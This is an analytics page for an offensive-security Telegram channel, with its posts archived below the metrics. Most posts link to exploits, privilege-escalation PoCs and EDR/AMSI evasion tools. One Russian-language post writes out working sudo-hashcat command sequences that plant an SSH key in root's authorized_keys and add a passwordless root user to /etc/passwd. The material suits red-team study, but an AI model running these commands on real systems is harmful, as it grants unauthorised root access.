APT

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This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

Russia45 663 Technologies & Applications8 841...

📈 Analytical overview of Telegram channel APT

Channel APT (@apt_notes) in the English language segment is an active participant. Currently, the community unites 14 653 subscribers, ranking 8 841 in the Technologies & Applications category and 45 663 in the Russia region.

📊 Audience metrics and dynamics

Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 14 653 subscribers.

According to the latest data from 11 June, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 406 over the last 30 days and by 16 over the last 24 hours, overall reach remains high.

Verification status: Not verified
Engagement rate (ER): The average audience engagement rate is 48.83%. Within the first 24 hours after publication, content typically collects N/A% reactions from the total number of subscribers.
Post reach: On average, each post receives 7 154 views. Within the first day, a publication typically gains 0 views.
Reactions and interaction: The audience actively supports content: the average number of reactions per post is 18.

📝 Description and content policy

The author describes the resource as a platform for expressing subjective opinions:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

Thanks to the high frequency of updates (latest data received on 12 June, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.

14 653

Subscribers

+1624 hours

+1087 days

+40630 days

7 154

Post views

No data24 hours

No data48 hours

48.83%

Engagement rate

No data

Posts per day

Ads index

beta

Posts Archive

14 658

🍀 MSIFortune - Local Privilege Escalation with MSI Installers MSI installers are still pretty alive today. It is a lesser known feature, that a low privileged user can start the repair function of an installation which will run with SYSTEM privileges. What could go wrong? Quite a lot! The repair function often triggers CustomActions, which can lead to several potential issues: — Visible conhost.exe via a cmd.exe or other console binaries — Visible PowerShell — Directly actions from the installer with SYSTEM privileges — Executing binaries from user writable paths — DLL sideloading / search path abusing — Missing PowerShell parameters, mostly -NoProfile — Execution of other tools in an unsafe manner 🌐 Details: https://badoption.eu/blog/2023/10/03/MSIFortune.html #windows #msi #lpe

14 658

Repost from r0 Crew (Channel)

Local Privilege Escalation in the glibc's ld.so (CVE-2023-4911) https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt POC: https://github.com/leesh3288/CVE-2023-4911 #expdev #linux #lpe #Alexs3y

14 658

Repost from 1N73LL1G3NC3

NetExec This tool is based on CrackMapExec and was originally created by bytebleeder and maintained by mpgn over the years, shout out to them! With the retirement of mpgn, we decided to maintain the tool NetExec, formerly known as CrackMapExec, as a completely free open source tool. Today will be our first release of NetExec version 1.0.0 NetExec wiki

14 658

🔒 Protected Users and xfreerdp By default xfreerdp does not support Kerberos authentication. As such you'll have to recompile it specifying the WITH_GSSAPI option. Also you'll need the libkrb5-dev package to handle TGT/ST requests :) #ad #kerberos #xfreerdp #redteam

14 658

➡️ Local Admin to Domain Admin Ask a TGS on behalf of another user without password. Scenario: you are Local Administrator and there is a logged User you want to Impersonate! 🌐 Source: https://github.com/foxlox/GIUDA #ad #kerberos #tgs #perl

14 658

⚙️ Windows LPE in driver MSKSSRV.SYS CVE-2023-29360 is a Local Privilege Escalation (LPE) vulnerability found in the mskssrv driver. It allows attackers to gain direct access to kernel memory by exploiting improper validation of a user-supplied value. 🌐 PoC: https://github.com/Nero22k/cve-2023-29360 📝 Research: https://big5-sec.github.io/posts/CVE-2023-29360-analysis/ #windows #lpe #driver #mskssrv

14 658

Repost from Ralf Hacker Channel

CVE-2023-29357: Microsoft SharePoint Server Elevation of Privilege https://github.com/Chocapikk/CVE-2023-29357/tree/main #exploit #pentest #redteam #git

14 658

⚙ WTS API Wasteland — Token Impersonation In Another Level A new research about a technique for lateral movement by stealing tokens while abusing the RPC named pipe

\\pipe\LSM_API_service

🌐 PoC: https://github.com/OmriBaso/WTSImpersonator 📝 Research: https://medium.com/@omribaso/wts-api-wasteland-remote-token-impersonation-in-another-level-a23965e8227e #ad #windows #token #impersonate

14 658

🔤 Fileless RCE on Juniper Firewalls A recently discovered vulnerability, CVE-2023-36845, affects Juniper SRX firewalls and EX switches, allowing for remote code execution without writing to the disk 🔍 Scanner: https://github.com/vulncheck-oss/cve-2023-36845-scanner 🌐 Research: https://vulncheck.com/blog/juniper-cve-2023-36845 #juniper #rce #cve

14 658

😈 POSTDump This is the C# / .NET implementation of the ReactOS minidump function (like nanodump), thus avoiding call to the Windows API MiniDumpWriteDump function. 🚀 Key Features: — Usage of indirect syscall along with halo's gate technic to retrieve syscalls IDs — No memory Allocation/Protection call is performed for indirect syscall, instead, free RWX codecave found in the current process are used — ETW patching — No call to MiniDumpWriteDump 🌐 Source: https://github.com/YOLOP0wn/POSTDump #windows #lsass #dump #syscall #reactos

14 658

Repost from 1N73LL1G3NC3

Caro-Kann Encrypted shellcode Injection to avoid Kernel triggered memory scans https://github.com/S3cur3Th1sSh1t/Caro-Kann

14 658

Repost from Offensive Xwitter

😈 [ Clandestine @akaclandestine ] 𝘼𝙑/𝙀𝘿𝙍 𝙀𝙫𝙖𝙨𝙞𝙤𝙣 | 𝙈𝙖𝙡𝙬𝙖𝙧𝙚 𝘿𝙚𝙫𝙚𝙡𝙤𝙥𝙢𝙚𝙣𝙩 👾 🔗 Part 1 - https://medium.com/@0xHossam/av-edr-evasion-malware-development-933e50f47af5 🔗 Part 2 - https://medium.com/@0xHossam/av-edr-evasion-malware-development-p2-7a947f7db354 🔗 Part 3 - https://medium.com/@0xHossam/unhooking-memory-object-hiding-3229b75618f7 🔗 Part 4 - https://medium.com/@0xHossam/av-edr-evasion-malware-development-p-4-162662bb630e 🐥 [ tweet ]

14 658

🔄 Active Directory GPOs through NTLM relaying, and more! Learn about a attack vector that exploits GPOs through NTLM relaying, potentially allowing unauthenticated attackers to abuse. 🌐 Source: https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more #ad #gpo #relay #ntlm

14 658

Repost from 1N73LL1G3NC3

CVE-2023-28229 Service Elevation of Privilege Vulnerability in Windows CNG Key Isolation https://github.com/Y3A/CVE-2023-28229 Reference: https://whereisk0shl.top/post/isolate-me-from-sandbox-explore-elevation-of-privilege-of-cng-key-isolation

14 658

🐱 GTFOBins в Hashcat Сегодня мы рассмотрим достаточно интересный (и в какой то степени банальный) способ как можно использовать Hashcat для обхода локальных ограничений безопасности. Предположим, у нас есть низко привилегированный доступ к Linux системе под пользователем "Acrono", и этот пользователь имеет права root для выполнения команды Hashcat без ввода пароля:

(root) NOPASSWD: /usr/bin/hashcat -m

Мы можем воспользоваться этой привилегией в Hashcat, взяв MD5-сумму от необходимой нами строки, после чего перебирая хеш по известному "словарю" и записывая вывод в определенный файл. 🐚 SSH Abuse Данная атака позволит нам добавить наш SSH-ключ в список авторизованных ключей root, обойдя парольную аутентификацию:

key='<PUBLIC_SSH_KEY>'
echo -n "$key" > wordlist && echo -n "$key" | md5sum | awk '{print $1}' > hash
sudo hashcat -m 0 -a 0 --quiet --potfile-disable -o /root/.ssh/authorized_keys --outfile-format=2 hash wordlist
ssh -i ./id_ed25519 root@127.0.0.1

🔑 Passwd Abuse Данная атака позволяет создать нового пользователя без пароля с правами root в файле /etc/passwd:



create_user='pwn-user::0:0:root:/root:/bin/bash'
echo -n "$create_user" > wordlist && echo -n "$create_user" | md5sum | awk '{print $1}' > hash
sudo hashcat -m 0 -a 0 --quiet --potfile-disable -o /etc/passwd --outfile-format=2 --outfile-autohex-disable hash wordlist
su - pwn-user

Кстати, немногие знают, что Hashcat поддерживает режим "сервера". Если у вас есть пароль от сервера и вы наверняка знаете, что сервер работает от привилегированного пользователя, то SSH Abuse может оказаться полезным:

hashcat --brain-server --brain-host=0.0.0.0 --brain-port=1337 --brain-password=P@ssw0rd

P.S. Вероятность получить подобные привилегии в реальной жизни крайне мала, однако я лично столкнулся с этим не так давно. Я также не смог найти в интернетах похожего абуза, потому и решил опубликовать данный пост.

14 658

Repost from Ralf Hacker Channel

Хорошая статья от MDSec, как они "редтимили" разработчиков. Наиболее интересный момент - это разработка и публикация вредоносного расширения VSCode для фишинга и получения первоначального доступа. https://www.mdsec.co.uk/2023/08/leveraging-vscode-extensions-for-initial-access/ #redteam #pentest #pishing #initial

14 658

Repost from Ralf Hacker Channel

WinRAR <= 6.22: code execution PoC https://github.com/b1tg/CVE-2023-38831-winrar-exploit #git #exploit #pentest #redteam #fishing #initial

14 658

⚔️ GitLab CE/EE Preauth RCE (CVE-2021-22205) An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution. ❗️Affect Versions:

>=11.9, <13.8.8
>=13.9, <13.9.6
>=13.10, <13.10.3

🌐 Source: https://github.com/inspiringz/CVE-2021-22205 #gitlab #rce #cve

14 658

Repost from RedTeam brazzers

Недавно нашел интересную функцию DebugActiveProcess , которая позволяет текущему процессу стать дебаггером (обрабатывать всякие дебаг события) для другого процесса. Ну и в голову пришла идея: "А что если применить это на powershell и обрабатывать LOAD_DLL_DEBUG_EVENT, перехватывать загрузку amsi.dll и патчить ее на лету?" . Таким образом родился проект DebugAmsi , который позволяет запускать процесс powershell.exe с автоматическим патчем amsi. Причем я постарался избавить Вас от нужды чистки строк, обфускации их и прочей жести. В файлике strhide реализован алгоритм по шифрованию всех строк проекта во время компиляции с помощью XOR. Алгоритм вынесен в два отдельных милых макроса - h() (для шифрования ASCII строк) и hW() (для шифрования юникода). Пользуйтесь на здоровье😚

14 658

⚛️ Nuclei Templates AI Generator Nuclei Template Editor - AI-powered hub to create, debug, scan, and store templates. Covering a wide array of vulnerabilities using public templates & rich CVE data. 📝 Note: Current focus is HTTP, more protocols coming soon 🌐 Source: https://templates.nuclei.sh https://docs.nuclei.sh/editor #nuclei #template #generator